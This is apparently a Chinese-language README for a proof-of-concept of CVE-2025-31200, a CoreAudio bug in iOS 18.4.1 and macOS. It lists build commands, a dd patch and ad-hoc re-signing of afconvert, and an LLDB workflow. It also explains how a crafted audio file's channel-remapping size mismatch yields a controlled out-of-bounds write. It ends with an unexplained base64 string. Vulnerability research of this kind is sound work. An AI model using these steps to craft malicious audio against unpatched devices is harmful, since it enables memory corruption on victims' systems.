项目标题与描述
本项目是针对iOS 18.4.1中CoreAudio补丁CVE-2025-31200的概念验证(Proof-of-Concept)。该漏洞位于音频编码处理的核心组件中,通过精心构造的音频文件,可以在解码过程中触发内存破坏,实现可控的写入操作。
项目状态更新:
- 2025年5月27日:已实现受控写入(非完全任意写入)
- 2025年5月21日:漏洞利用机制已明确,但仍在深入研究
- 当前状态:可在macOS 15.4.1之前版本复现,需要特定调试环境
功能特性
- 漏洞复现:完整重现CVE-2025-31200的触发条件
- 调试工具集成:包含LLDB调试脚本,用于观察内存破坏过程
- 受控内存写入:演示如何从布局不匹配到实现可控写入
- 跨平台支持:针对iOS/macOS音频子系统
- 教育研究价值:深入分析CoreAudio内部机制和漏洞利用技巧
安装指南
系统要求
- macOS版本 < 15.4.1(必须低于修复版本)
- Xcode命令行工具
- LLDB调试器
- ARM64e架构支持
依赖项
# 必需工具
clang++ (支持C++23标准)
lipo (二进制工具)
codesign (代码签名)
编译步骤
-
编译主程序
clang++ -g -Os -o encodeme -std=c++23 -fmodules -fcxx-modules -fobjc-arc encodeme.mm -
准备转换工具
# 提取arm64e架构版本并修改 lipo -thin arm64e /usr/bin/afconvert -output afconvert_arm64e dd if=/dev/zero bs=4 seek=2 count=1 of=afconvert_arm64e conv=notrunc codesign --sign - -f afconvert_arm64e
使用说明
基础使用
-
清理先前输出
rm output.mp4 -
运行PoC程序
lldb ./encodeme --source run_encodeme_hook.lldb --batch
典型工作流程
- 漏洞触发:运行
encodeme程序生成恶意音频文件 - 调试观察:使用LLDB脚本
check-mismatch观察内存不匹配 - 音频播放:使用
AVAudioPlayer播放output.mp4文件 - 漏洞验证:在
APACChannelRemapper::Process中观察内存破坏
关键调试点
当音频文件被播放时,APACChannelRemapper::Process会:
- 读取并写入基于
mTotalComponents大小的帧数据 - 使用
mRemappingArray作为置换映射 - 触发内存破坏条件
核心代码
构建脚本核心逻辑
#!/bin/sh
# 提取并修改afconvert工具的arm64e架构版本
# 这里的关键操作是修改二进制文件的特定偏移,为漏洞利用创造条件
lipo -thin arm64e /usr/bin/afconvert -output afconvert_arm64e
# 在特定偏移处写入零值,破坏原有结构
# seek=2 指定偏移位置,count=1 写入一个4字节块
dd if=/dev/zero bs=4 seek=2 count=1 of=afconvert_arm64e conv=notrunc
# 重新签名修改后的二进制文件,绕过系统安全机制
codesign --sign - -f afconvert_arm64e
编译指令解析
# encodeme程序的编译命令分析
clang++ -g -Os -o encodeme -std=c++23 -fmodules -fcxx-modules -fobjc-arc encodeme.mm
# 参数说明:
# -g:包含调试信息,便于LLDB分析
# -Os:优化代码大小
# -std=c++23:使用C++23标准,支持现代特性
# -fmodules -fcxx-modules:启用C++模块支持
# -fobjc-arc:启用Objective-C自动引用计数
# encodeme.mm:主源文件(Objective-C++)
运行脚本核心
# 清理和运行脚本
rm output.mp4 # 清理先前生成的音频文件
lldb ./encodeme --source run_encodeme_hook.lldb --batch
# LLDB参数说明:
# --source:加载指定的LLDB调试脚本
# --batch:批量执行模式,非交互式
# run_encodeme_hook.lldb:包含漏洞触发断点和观察点的自定义脚本
漏洞机制关键代码段
// APACHOADecoder::DecodeAPACFrame中的核心漏洞点
// mRemappingArray的大小基于mChannelLayoutTag的低两个字节
// 通过创建它们之间的不匹配,后续处理阶段被破坏
// 当APACHOADecoder处理APAC帧时(根据声道重映射数组置换)
// 使用mRemappingArray作为置换映射进行声道重映射
// 正在被重映射的帧数据大小基于mTotalComponents
// 关键不匹配:
// - mRemappingArray大小:基于mChannelLayoutTag低字节
// - 帧数据大小:基于mTotalComponents
// 这种不匹配导致越界内存访问
调试观察点
# check-mismatch.lldb脚本中的关键观察点
# 观察APACChannelRemapper::Process函数中的内存状态
# 1. mRemappingArray的内容和大小
# 2. 传入的帧数据缓冲区
# 3. 置换操作前后的内存变化
# 4. 越界写入的确切位置和内容
6HFtX5dABrKlqXeO5PUv/ykBEY5sSS770ql+87/iPka6DCrO/29g/viSO1uv6WtDp4AQLgOgW8nZ1C/BQHn10w==